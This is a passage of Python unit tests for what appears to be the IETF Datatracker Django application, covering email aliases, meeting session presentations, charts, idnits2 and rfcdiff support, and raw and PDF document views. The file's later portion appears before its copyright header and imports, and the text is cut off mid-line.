draft-ietf-mars-test.chairs@ietf.org xfilter-draft-ietf-mars-test.chairs expand-draft-ietf-mars-test.chairs@virtual.ietf.org mars-chair@example.mars draft-ietf-mars-test.all@ietf.org xfilter-draft-ietf-mars-test.all expand-draft-ietf-mars-test.all@virtual.ietf.org mars-author@example.mars, mars-collaborator@example.mars, mars-chair@example.mars draft-ietf-ames-test@ietf.org xfilter-draft-ietf-ames-test expand-draft-ietf-ames-test@virtual.ietf.org ames-author@example.com, ames-collaborator@example.com draft-ietf-ames-test.authors@ietf.org xfilter-draft-ietf-ames-test.authors expand-draft-ietf-ames-test.authors@virtual.ietf.org ames-author@example.ames, ames-collaborator@example.ames draft-ietf-ames-test.chairs@ietf.org xfilter-draft-ietf-ames-test.chairs expand-draft-ietf-ames-test.chairs@virtual.ietf.org ames-chair@example.ames draft-ietf-ames-test.all@ietf.org xfilter-draft-ietf-ames-test.all expand-draft-ietf-ames-test.all@virtual.ietf.org ames-author@example.ames, ames-collaborator@example.ames, ames-chair@example.ames """) self.doc_alias_file.close() self.saved_draft_virtual_path = settings.DRAFT_VIRTUAL_PATH settings.DRAFT_VIRTUAL_PATH = self.doc_alias_file.name def tearDown(self): settings.DRAFT_VIRTUAL_PATH = self.saved_draft_virtual_path os.unlink(self.doc_alias_file.name) super().tearDown() def testAliases(self): PersonFactory(user__username='plain') url = urlreverse('ietf.doc.urls.redirect.document_email', kwargs=dict(name="draft-ietf-mars-test")) r = self.client.get(url) self.assertEqual(r.status_code, 302) url = urlreverse('ietf.doc.views_doc.email_aliases', kwargs=dict()) login_testing_unauthorized(self, "plain", url) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertTrue(all([x in unicontent(r) for x in ['mars-test@','mars-test.authors@','mars-test.chairs@']])) self.assertTrue(all([x in unicontent(r) for x in ['ames-test@','ames-test.authors@','ames-test.chairs@']])) def testExpansions(self): url = urlreverse('ietf.doc.views_doc.document_email', kwargs=dict(name="draft-ietf-mars-test")) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, 'draft-ietf-mars-test.all@ietf.org') self.assertContains(r, 'iesg_ballot_saved') class DocumentMeetingTests(TestCase): def setUp(self): super().setUp() self.group = GroupFactory(type_id='wg',state_id='active') self.group_chair = PersonFactory() self.group.role_set.create(name_id='chair',person=self.group_chair,email=self.group_chair.email()) self.other_group = GroupFactory(type_id='wg',state_id='active') self.other_chair = PersonFactory() self.other_group.role_set.create(name_id='chair',person=self.other_chair,email=self.other_chair.email()) today = datetime.date.today() cut_days = settings.MEETING_MATERIALS_DEFAULT_SUBMISSION_CORRECTION_DAYS self.past_cutoff = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today-datetime.timedelta(days=1+cut_days)) self.past = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today-datetime.timedelta(days=cut_days/2)) self.inprog = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today-datetime.timedelta(days=1)) self.future = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today+datetime.timedelta(days=90)) self.interim = SessionFactory.create(meeting__type_id='interim',group=self.group,meeting__date=today+datetime.timedelta(days=45)) def test_view_document_meetings(self): doc = IndividualDraftFactory.create() doc.sessionpresentation_set.create(session=self.inprog,rev=None) doc.sessionpresentation_set.create(session=self.interim,rev=None) url = urlreverse('ietf.doc.views_doc.all_presentations', kwargs=dict(name=doc.name)) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(all([q(id) for id in ['#inprogressmeets','#futuremeets']])) self.assertFalse(any([q(id) for id in ['#pastmeets',]])) self.assertFalse(q('#addsessionsbutton')) self.assertFalse(q("a.btn:contains('Remove document')")) doc.sessionpresentation_set.create(session=self.past_cutoff,rev=None) doc.sessionpresentation_set.create(session=self.past,rev=None) self.client.login(username="secretary", password="secretary+password") response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(q('#addsessionsbutton')) self.assertEqual(1,len(q("#inprogressmeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#futuremeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#pastmeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#pastmeets a.btn-warning:contains('Remove document')"))) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(q('#addsessionsbutton')) self.assertEqual(1,len(q("#inprogressmeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#futuremeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#pastmeets a.btn-primary:contains('Remove document')"))) self.assertTrue(q('#pastmeets')) self.assertFalse(q("#pastmeets a.btn-warning:contains('Remove document')")) self.client.login(username=self.other_chair.user.username,password='%s+password'%self.other_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(q('#addsessionsbutton')) self.assertTrue(all([q(id) for id in ['#futuremeets','#pastmeets','#inprogressmeets']])) self.assertFalse(q("#inprogressmeets a.btn:contains('Remove document')")) self.assertFalse(q("#futuremeets a.btn:contains('Remove document')")) self.assertFalse(q("#pastmeets a.btn:contains('Remove document')")) def test_edit_document_session(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.future,rev=None) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name='no-such-doc',session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name=doc.name,session_id=0)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.other_chair.user.username,password='%s+password'%self.other_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertEqual(2,len(q('select#id_version option'))) self.assertEqual(1,doc.docevent_set.count()) response = self.client.post(url,{'version':'00','save':''}) self.assertEqual(response.status_code, 302) self.assertEqual(doc.sessionpresentation_set.get(pk=sp.pk).rev,'00') self.assertEqual(2,doc.docevent_set.count()) def test_edit_document_session_after_proceedings_closed(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.past_cutoff,rev=None) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username='secretary',password='secretary+password') response = self.client.get(url) self.assertEqual(response.status_code, 200) q=PyQuery(response.content) self.assertEqual(1,len(q(".alert-warning:contains('may affect published proceedings')"))) def test_remove_document_session(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.future,rev=None) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name='no-such-doc',session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name=doc.name,session_id=0)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.other_chair.user.username,password='%s+password'%self.other_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) self.assertEqual(1,doc.docevent_set.count()) response = self.client.post(url,{'remove_session':''}) self.assertEqual(response.status_code, 302) self.assertFalse(doc.sessionpresentation_set.filter(pk=sp.pk).exists()) self.assertEqual(2,doc.docevent_set.count()) def test_remove_document_session_after_proceedings_closed(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.past_cutoff,rev=None) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username='secretary',password='secretary+password') response = self.client.get(url) self.assertEqual(response.status_code, 200) q=PyQuery(response.content) self.assertEqual(1,len(q(".alert-warning:contains('may affect published proceedings')"))) def test_add_document_session(self): doc = IndividualDraftFactory.create() url = urlreverse('ietf.doc.views_doc.add_sessionpresentation',kwargs=dict(name=doc.name)) login_testing_unauthorized(self,self.group_chair.user.username,url) response = self.client.get(url) self.assertEqual(response.status_code,200) response = self.client.post(url,{'session':0,'version':'current'}) self.assertEqual(response.status_code,200) q=PyQuery(response.content) self.assertTrue(q('.form-select.is-invalid')) response = self.client.post(url,{'session':self.future.pk,'version':'bogus version'}) self.assertEqual(response.status_code,200) q=PyQuery(response.content) self.assertTrue(q('.form-select.is-invalid')) self.assertEqual(1,doc.docevent_set.count()) response = self.client.post(url,{'session':self.future.pk,'version':'current'}) self.assertEqual(response.status_code,302) self.assertEqual(2,doc.docevent_set.count()) def test_get_related_meeting(self): """Should be able to retrieve related meeting""" meeting = MeetingFactory(type_id='ietf') session = SessionFactory(meeting=meeting) procmat = ProceedingsMaterialFactory(meeting=meeting) for doctype in DocTypeName.objects.filter(used=True): doc = DocumentFactory(type=doctype) self.assertIsNone(doc.get_related_meeting(), 'Doc does not yet have a connection to the meeting') # test through a session doc.session_set.add(session) doc = Document.objects.get(pk=doc.pk) if doc.meeting_related(): self.assertEqual(doc.get_related_meeting(), meeting, f'{doc.type.slug} should be related to meeting') else: self.assertIsNone(doc.get_related_meeting(), f'{doc.type.slug} should not be related to meeting') # test with both session and procmat doc.proceedingsmaterial_set.add(procmat) doc = Document.objects.get(pk=doc.pk) if doc.meeting_related(): self.assertEqual(doc.get_related_meeting(), meeting, f'{doc.type.slug} should be related to meeting') else: self.assertIsNone(doc.get_related_meeting(), f'{doc.type.slug} should not be related to meeting') # and test with only procmat doc.session_set.remove(session) doc = Document.objects.get(pk=doc.pk) if doc.meeting_related(): self.assertEqual(doc.get_related_meeting(), meeting, f'{doc.type.slug} should be related to meeting') else: self.assertIsNone(doc.get_related_meeting(), f'{doc.type.slug} should not be related to meeting') class ChartTests(ResourceTestCaseMixin, TestCase): def test_search_chart_conf(self): doc = IndividualDraftFactory() conf_url = urlreverse('ietf.doc.views_stats.chart_conf_newrevisiondocevent') # No qurey arguments; expect an empty json object r = self.client.get(conf_url) self.assertValidJSONResponse(r) self.assertEqual(unicontent(r), '{}') # No match r = self.client.get(conf_url + '?activedrafts=on&name=thisisnotadocumentname') self.assertValidJSONResponse(r) d = r.json() self.assertEqual(d['chart']['type'], settings.CHART_TYPE_COLUMN_OPTIONS['chart']['type']) r = self.client.get(conf_url + '?activedrafts=on&name=%s'%doc.name[6:12]) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(d['chart']['type'], settings.CHART_TYPE_COLUMN_OPTIONS['chart']['type']) self.assertEqual(len(d['series'][0]['data']), 0) def test_search_chart_data(self): doc = IndividualDraftFactory() data_url = urlreverse('ietf.doc.views_stats.chart_data_newrevisiondocevent') # No qurey arguments; expect an empty json list r = self.client.get(data_url) self.assertValidJSONResponse(r) self.assertEqual(unicontent(r), '[]') # No match r = self.client.get(data_url + '?activedrafts=on&name=thisisnotadocumentname') self.assertValidJSONResponse(r) d = r.json() self.assertEqual(unicontent(r), '[]') r = self.client.get(data_url + '?activedrafts=on&name=%s'%doc.name[6:12]) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(len(d), 1) self.assertEqual(len(d[0]), 2) def test_search_chart(self): doc = IndividualDraftFactory() chart_url = urlreverse('ietf.doc.views_stats.chart_newrevisiondocevent') r = self.client.get(chart_url) self.assertEqual(r.status_code, 200) r = self.client.get(chart_url + '?activedrafts=on&name=%s'%doc.name[6:12]) self.assertEqual(r.status_code, 200) def test_personal_chart(self): person = PersonFactory.create() IndividualDraftFactory.create( authors=[person, ], ) conf_url = urlreverse('ietf.doc.views_stats.chart_conf_person_drafts', kwargs=dict(id=person.id)) r = self.client.get(conf_url) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(d['chart']['type'], settings.CHART_TYPE_COLUMN_OPTIONS['chart']['type']) self.assertEqual("New draft revisions over time for %s" % person.name, d['title']['text']) data_url = urlreverse('ietf.doc.views_stats.chart_data_person_drafts', kwargs=dict(id=person.id)) r = self.client.get(data_url) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(len(d), 1) self.assertEqual(len(d[0]), 2) page_url = urlreverse('ietf.person.views.profile', kwargs=dict(email_or_name=person.name)) r = self.client.get(page_url) self.assertEqual(r.status_code, 200) class FieldTests(TestCase): def test_searchabledocumentsfield_pre(self): # so far, just tests that the format expected by select2 set up docs = IndividualDraftFactory.create_batch(3) class _TestForm(Form): test_field = SearchableDocumentsField() form = _TestForm(initial=dict(test_field=docs)) html = str(form) q = PyQuery(html) json_data = q('.select2-field').attr('data-pre') try: decoded = json.loads(json_data) except json.JSONDecodeError as e: self.fail('data-pre contained invalid JSON data: %s' % str(e)) decoded_ids = list(decoded.keys()) self.assertCountEqual(decoded_ids, [str(doc.id) for doc in docs]) for doc in docs: self.assertEqual( dict(id=doc.pk, selected=True, url=doc.get_absolute_url(), text=escape(uppercase_std_abbreviated_name(doc.name))), decoded[str(doc.pk)], ) class MaterialsTests(TestCase): settings_temp_path_overrides = TestCase.settings_temp_path_overrides + ['AGENDA_PATH'] def setUp(self): super().setUp() meeting_number='111' meeting_dir = Path(settings.AGENDA_PATH) / meeting_number meeting_dir.mkdir() agenda_dir = meeting_dir / 'agenda' agenda_dir.mkdir() group_acronym='bogons' # This is too much work - the factory should # * build the DocumentHistory correctly # * maybe do something by default with uploaded_filename # and there should be a more usable unit to save bits to disk (handle_file_upload isn't quite right) that tests can leverage uploaded_filename_00 = f'agenda-{meeting_number}-{group_acronym}-00.txt' uploaded_filename_01 = f'agenda-{meeting_number}-{group_acronym}-01.md' f = io.open(os.path.join(agenda_dir, uploaded_filename_00), 'w') f.write('This is some unremarkable text') f.close() f = io.open(os.path.join(agenda_dir, uploaded_filename_01), 'w') f.write('This links to [an unusual place](https://unusual.example).') f.close() self.doc = DocumentFactory(type_id='agenda',rev='00',group__acronym=group_acronym, newrevisiondocevent=None, name=f'agenda-{meeting_number}-{group_acronym}', uploaded_filename=uploaded_filename_00) e = NewRevisionDocEventFactory(doc=self.doc,rev='00') self.doc.save_with_history([e]) self.doc.rev = '01' self.doc.uploaded_filename = uploaded_filename_01 e = NewRevisionDocEventFactory(doc=self.doc, rev='01') self.doc.save_with_history([e]) # This is necessary for the view to be able to find the document # which hints that the view has an issue : if a materials document is taken out of all SessionPresentations, it is no longer accessable by this view SessionPresentationFactory(session__meeting__number=meeting_number, session__group=self.doc.group, document=self.doc) def test_markdown_and_text(self): url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=self.doc.name,rev='00')) r = self.client.get(url) self.assertEqual(r.status_code,200) q = PyQuery(r.content) self.assertTrue(q('#materials-content pre')) url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=self.doc.name,rev='01')) r = self.client.get(url) self.assertEqual(r.status_code,200) q = PyQuery(r.content) self.assertEqual(q('#materials-content .card-body a').attr['href'],'https://unusual.example') class Idnits2SupportTests(TestCase): settings_temp_path_overrides = TestCase.settings_temp_path_overrides + ['DERIVED_DIR'] def test_obsoleted(self): rfc = WgRfcFactory(alias2__name='rfc1001') WgRfcFactory(alias2__name='rfc1003',relations=[('obs',rfc)]) rfc = WgRfcFactory(alias2__name='rfc1005') WgRfcFactory(alias2__name='rfc1007',relations=[('obs',rfc)]) url = urlreverse('ietf.doc.views_doc.idnits2_rfcs_obsoleted') r = self.client.get(url) self.assertEqual(r.status_code, 404) call_command('generate_idnits2_rfcs_obsoleted') url = urlreverse('ietf.doc.views_doc.idnits2_rfcs_obsoleted') r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertEqual(r.content, b'1001 1003\n1005 1007\n') def test_rfc_status(self): for slug in ('bcp', 'ds', 'exp', 'hist', 'inf', 'std', 'ps', 'unkn'): WgRfcFactory(std_level_id=slug) url = urlreverse('ietf.doc.views_doc.idnits2_rfc_status') r = self.client.get(url) self.assertEqual(r.status_code,404) call_command('generate_idnits2_rfc_status') r = self.client.get(url) self.assertEqual(r.status_code,200) blob = unicontent(r).replace('\n','') self.assertEqual(blob[6312-1],'O') def test_idnits2_state(self): rfc = WgRfcFactory() url = urlreverse('ietf.doc.views_doc.idnits2_state', kwargs=dict(name=rfc.canonical_name())) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r,'rfcnum') draft = WgDraftFactory() url = urlreverse('ietf.doc.views_doc.idnits2_state', kwargs=dict(name=draft.canonical_name())) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertNotContains(r,'rfcnum') self.assertContains(r,'Unknown') draft = WgDraftFactory(intended_std_level_id='ps') url = urlreverse('ietf.doc.views_doc.idnits2_state', kwargs=dict(name=draft.canonical_name())) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r,'Proposed') class RfcdiffSupportTests(TestCase): def setUp(self): super().setUp() self.target_view = 'ietf.doc.views_doc.rfcdiff_latest_json' self._last_rfc_num = 8000 def getJson(self, view_args): url = urlreverse(self.target_view, kwargs=view_args) r = self.client.get(url) self.assertEqual(r.status_code, 200) return r.json() def next_rfc_number(self): self._last_rfc_num += 1 return self._last_rfc_num def do_draft_test(self, name): draft = IndividualDraftFactory(name=name, rev='00', create_revisions=range(0,13)) draft = reload_db_objects(draft) received = self.getJson(dict(name=draft.name)) self.assertEqual( received, dict( name=draft.name, rev=draft.rev, content_url=draft.get_href(), previous=f'{draft.name}-{(int(draft.rev)-1):02d}' ), 'Incorrect JSON when draft revision not specified', ) received = self.getJson(dict(name=draft.name, rev=draft.rev)) self.assertEqual( received, dict( name=draft.name, rev=draft.rev, content_url=draft.get_href(), previous=f'{draft.name}-{(int(draft.rev)-1):02d}' ), 'Incorrect JSON when latest revision specified', ) received = self.getJson(dict(name=draft.name, rev='10')) self.assertEqual( received, dict( name=draft.name, rev='10', content_url=draft.history_set.get(rev='10').get_href(), previous=f'{draft.name}-09' ), 'Incorrect JSON when historical revision specified', ) received = self.getJson(dict(name=draft.name, rev='00')) self.assertNotIn('previous', received, 'Rev 00 has no previous name when not replacing a draft') replaced = IndividualDraftFactory() RelatedDocument.objects.create(relationship_id='replaces',source=draft,target=replaced.docalias.first()) received = self.getJson(dict(name=draft.name, rev='00')) self.assertEqual(received['previous'], f'{replaced.name}-{replaced.rev}', 'Rev 00 has a previous name when replacing a draft') def test_draft(self): # test with typical, straightforward names self.do_draft_test(name='draft-somebody-did-a-thing') # try with different potentially problematic names self.do_draft_test(name='draft-someone-did-something-01-02') self.do_draft_test(name='draft-someone-did-something-else-02') self.do_draft_test(name='draft-someone-did-something-02-weird-01') def do_draft_with_broken_history_test(self, name): draft = IndividualDraftFactory(name=name, rev='10') received = self.getJson(dict(name=draft.name,rev='09')) self.assertEqual(received['rev'],'09') self.assertEqual(received['previous'], f'{draft.name}-08') self.assertTrue('warning' in received) def test_draft_with_broken_history(self): # test with typical, straightforward names self.do_draft_with_broken_history_test(name='draft-somebody-did-something') # try with different potentially problematic names self.do_draft_with_broken_history_test(name='draft-someone-did-something-01-02') self.do_draft_with_broken_history_test(name='draft-someone-did-something-else-02') self.do_draft_with_broken_history_test(name='draft-someone-did-something-02-weird-03') def do_rfc_test(self, draft_name): draft = WgDraftFactory(name=draft_name, create_revisions=range(0,2)) draft.docalias.create(name=f'rfc{self.next_rfc_number():04}') draft.set_state(State.objects.get(type_id='draft',slug='rfc')) draft.set_state(State.objects.get(type_id='draft-iesg', slug='pub')) draft = reload_db_objects(draft) rfc = draft number = rfc.rfc_number() received = self.getJson(dict(name=number)) self.assertEqual( received, dict( content_url=rfc.get_href(), name=rfc.canonical_name(), previous=f'{draft.name}-{draft.rev}', ), 'Can look up an RFC by number', ) num_received = received received = self.getJson(dict(name=rfc.canonical_name())) self.assertEqual(num_received, received, 'RFC by canonical name gives same result as by number') received = self.getJson(dict(name=f'RfC {number}')) self.assertEqual(num_received, received, 'RFC with unusual spacing/caps gives same result as by number') received = self.getJson(dict(name=draft.name)) self.assertEqual(num_received, received, 'RFC by draft name and no rev gives same result as by number') received = self.getJson(dict(name=draft.name, rev='01')) self.assertEqual( received, dict( content_url=draft.history_set.get(rev='01').get_href(), name=draft.name, rev='01', previous=f'{draft.name}-00', ), 'RFC by draft name with rev should give draft name, not canonical name' ) def test_rfc(self): # simple draft name self.do_rfc_test(draft_name='draft-test-ar-ef-see') # tricky draft names self.do_rfc_test(draft_name='draft-whatever-02') self.do_rfc_test(draft_name='draft-test-me-03-04') def test_rfc_with_tombstone(self): draft = WgDraftFactory(create_revisions=range(0,2)) draft.docalias.create(name='rfc3261') # See views_doc.HAS_TOMBSTONE draft.set_state(State.objects.get(type_id='draft',slug='rfc')) draft.set_state(State.objects.get(type_id='draft-iesg', slug='pub')) draft = reload_db_objects(draft) rfc = draft # Some old rfcs had tombstones that shouldn't be used for comparisons received = self.getJson(dict(name=rfc.canonical_name())) self.assertTrue(received['previous'].endswith('00')) def do_rfc_with_broken_history_test(self, draft_name): draft = WgDraftFactory(rev='10', name=draft_name) draft.docalias.create(name=f'rfc{self.next_rfc_number():04}') draft.set_state(State.objects.get(type_id='draft',slug='rfc')) draft.set_state(State.objects.get(type_id='draft-iesg', slug='pub')) draft = reload_db_objects(draft) rfc = draft received = self.getJson(dict(name=draft.name)) self.assertEqual( received, dict( content_url=rfc.get_href(), name=rfc.canonical_name(), previous=f'{draft.name}-10', ), 'RFC by draft name without rev should return canonical RFC name and no rev', ) received = self.getJson(dict(name=draft.name, rev='10')) self.assertEqual(received['name'], draft.name, 'RFC by draft name with rev should return draft name') self.assertEqual(received['rev'], '10', 'Requested rev should be returned') self.assertEqual(received['previous'], f'{draft.name}-09', 'Previous rev is one less than requested') self.assertIn(f'{draft.name}-10', received['content_url'], 'Returned URL should include requested rev') self.assertNotIn('warning', received, 'No warning when we have the rev requested') received = self.getJson(dict(name=f'{draft.name}-09')) self.assertEqual(received['name'], draft.name, 'RFC by draft name with rev should return draft name') self.assertEqual(received['rev'], '09', 'Requested rev should be returned') self.assertEqual(received['previous'], f'{draft.name}-08', 'Previous rev is one less than requested') self.assertIn(f'{draft.name}-09', received['content_url'], 'Returned URL should include requested rev') self.assertEqual( received['warning'], 'History for this version not found - these results are speculation', 'Warning should be issued when requested rev is not found' ) def test_rfc_with_broken_history(self): # simple draft name self.do_rfc_with_broken_history_test(draft_name='draft-some-draft') # tricky draft names self.do_rfc_with_broken_history_test(draft_name='draft-gizmo-01') self.do_rfc_with_broken_history_test(draft_name='draft-oh-boy-what-a-draft-02-03') class RawIdTests(TestCase): def __init__(self, *args, **kwargs): self.view = "ietf.doc.views_doc.document_raw_id" self.mimetypes = {'txt':'text/plain','html':'text/html','xml':'application/xml'} super(self.__class__, self).__init__(*args, **kwargs) def should_succeed(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url, skip_verify=True) # do not verify HTML, they're faked anyway self.assertEqual(r.status_code,200) self.assertEqual(r.get('Content-Type'),f"{self.mimetypes[argdict.get("ext","txt")]};charset=utf-8") def should_404(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url) self.assertEqual(r.status_code, 404) def test_raw_id(self): draft = WgDraftFactory(create_revisions=range(0,2)) dir = settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR for r in range(0,2): rev = f'{r:02d}' (Path(dir) / f'{draft.name}-{rev}.txt').touch() if r == 1: (Path(dir) / f'{draft.name}-{rev}.html').touch() (Path(dir) / f'{draft.name}-{rev}.xml').touch() self.should_succeed(dict(name=draft.name)) for ext in ('txt', 'html', 'xml'): self.should_succeed(dict(name=draft.name, ext=ext)) self.should_succeed(dict(name=draft.name, rev='01', ext=ext)) self.should_404(dict(name=draft.name, ext='pdf')) self.should_succeed(dict(name=draft.name, rev='00')) self.should_succeed(dict(name=draft.name, rev='00',ext='txt')) self.should_404(dict(name=draft.name, rev='00',ext='html')) def test_raw_id_rfc(self): rfc = WgRfcFactory() dir = settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR (Path(dir) / f'{rfc.name}-{rfc.rev}.txt').touch() self.should_succeed(dict(name=rfc.name)) self.should_404(dict(name=rfc.canonical_name())) def test_non_draft(self): charter = CharterFactory() self.should_404(dict(name=charter.name)) class PdfizedTests(TestCase): def __init__(self, *args, **kwargs): self.view = "ietf.doc.views_doc.document_pdfized" super(self.__class__, self).__init__(*args, **kwargs) def should_succeed(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url) self.assertEqual(r.status_code,200) self.assertEqual(r.get('Content-Type'),'application/pdf;charset=utf-8') def should_404(self, argdict): url = urlreverse(self.view, kwargs=argdict) r = self.client.get(url) self.assertEqual(r.status_code, 404) def test_pdfized(self): rfc = WgRfcFactory(create_revisions=range(0,2)) dir = settings.RFC_PATH with (Path(dir) / f'{rfc.canonical_name()}.txt').open('w') as f: f.write('text content') dir = settings.INTERNET_ALL_DRAFTS_ARCHIVE_DIR for r in range(0,2): with (Path(dir) / f'{rfc.name}-{r:02d}.txt').open('w') as f: f.write('text content') self.should_succeed(dict(name=rfc.canonical_name())) self.should_succeed(dict(name=rfc.name)) for r in range(0,2): self.should_succeed(dict(name=rfc.name,rev=f'{r:02d}')) for ext in ('pdf','txt','html','anythingatall'): self.should_succeed(dict(name=rfc.name,rev=f'{r:02d}',ext=ext)) self.should_404(dict(name=rfc.name,rev='02'))
# Copyright The IETF Trust 2012-2020, All Rights Reserved # -*- coding: utf-8 -*- import os import datetime import io import lxml import bibtexparser import mock import json import copy from http.cookies import SimpleCookie from pathlib import Path from pyquery import PyQuery from urllib.parse import urlparse, parse_qs from tempfile import NamedTemporaryFile from django.core.management import call_command from django.urls import reverse as urlreverse from django.conf import settings from django.forms import Form from django.utils.html import escape from django.test import override_settings from django.utils.text import slugify from tastypie.test import ResourceTestCaseMixin import debug # pyflakes:ignore from ietf.doc.models import ( Document, DocAlias, DocRelationshipName, RelatedDocument, State, DocEvent, BallotPositionDocEvent, LastCallDocEvent, WriteupDocEvent, NewRevisionDocEvent, BallotType, EditedAuthorsDocEvent ) from ietf.doc.factories import ( DocumentFactory, DocEventFactory, CharterFactory, ConflictReviewFactory, WgDraftFactory, IndividualDraftFactory, WgRfcFactory, IndividualRfcFactory, StateDocEventFactory, BallotPositionDocEventFactory, BallotDocEventFactory, DocumentAuthorFactory, NewRevisionDocEventFactory, StatusChangeFactory) from ietf.doc.fields import SearchableDocumentsField from ietf.doc.utils import create_ballot_if_not_open, uppercase_std_abbreviated_name from ietf.group.models import Group from ietf.group.factories import GroupFactory, RoleFactory from ietf.ipr.factories import HolderIprDisclosureFactory from ietf.meeting.models import Meeting, SessionPresentation, SchedulingEvent from ietf.meeting.factories import ( MeetingFactory, SessionFactory, SessionPresentationFactory, ProceedingsMaterialFactory ) from ietf.name.models import SessionStatusName, BallotPositionName, DocTypeName from ietf.person.models import Person from ietf.person.factories import PersonFactory, EmailFactory from ietf.utils.mail import outbox from ietf.utils.test_utils import login_testing_unauthorized, unicontent, reload_db_objects from ietf.utils.test_utils import TestCase from ietf.utils.text import normalize_text class SearchTests(TestCase): def test_search(self): draft = WgDraftFactory(name='draft-ietf-mars-test',group=GroupFactory(acronym='mars',parent=Group.objects.get(acronym='farfut')),authors=[PersonFactory()],ad=PersonFactory()) draft.set_state(State.objects.get(used=True, type="draft-iesg", slug="pub-req")) old_draft = IndividualDraftFactory(name='draft-foo-mars-test',authors=[PersonFactory()],title="Optimizing Martian Network Topologies") old_draft.set_state(State.objects.get(used=True, type="draft", slug="expired")) base_url = urlreverse('ietf.doc.views_search.search') # only show form, no search yet r = self.client.get(base_url) self.assertEqual(r.status_code, 200) # no match r = self.client.get(base_url + "?activedrafts=on&name=thisisnotadocumentname") self.assertEqual(r.status_code, 200) self.assertContains(r, "No documents match") r = self.client.get(base_url + "?rfcs=on&name=xyzzy") self.assertEqual(r.status_code, 200) self.assertContains(r, "No documents match") r = self.client.get(base_url + "?olddrafts=on&name=bar") self.assertEqual(r.status_code, 200) self.assertContains(r, "No documents match") r = self.client.get(base_url + "?olddrafts=on&name=foo") self.assertEqual(r.status_code, 200) self.assertContains(r, "draft-foo-mars-test") # find by rfc/active/inactive draft.set_state(State.objects.get(type="draft", slug="rfc")) r = self.client.get(base_url + "?rfcs=on&name=%s" % draft.name) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) draft.set_state(State.objects.get(type="draft", slug="active")) r = self.client.get(base_url + "?activedrafts=on&name=%s" % draft.name) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) draft.set_state(State.objects.get(type="draft", slug="expired")) r = self.client.get(base_url + "?olddrafts=on&name=%s" % draft.name) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) draft.set_state(State.objects.get(type="draft", slug="active")) # find by title r = self.client.get(base_url + "?activedrafts=on&name=%s" % draft.title.split()[0]) self.assertEqual(r.status_code, 200) self.assertContains(r, draft.title) # find by author r = self.client.get(base_url + "?activedrafts=on&by=author&author=%s" % 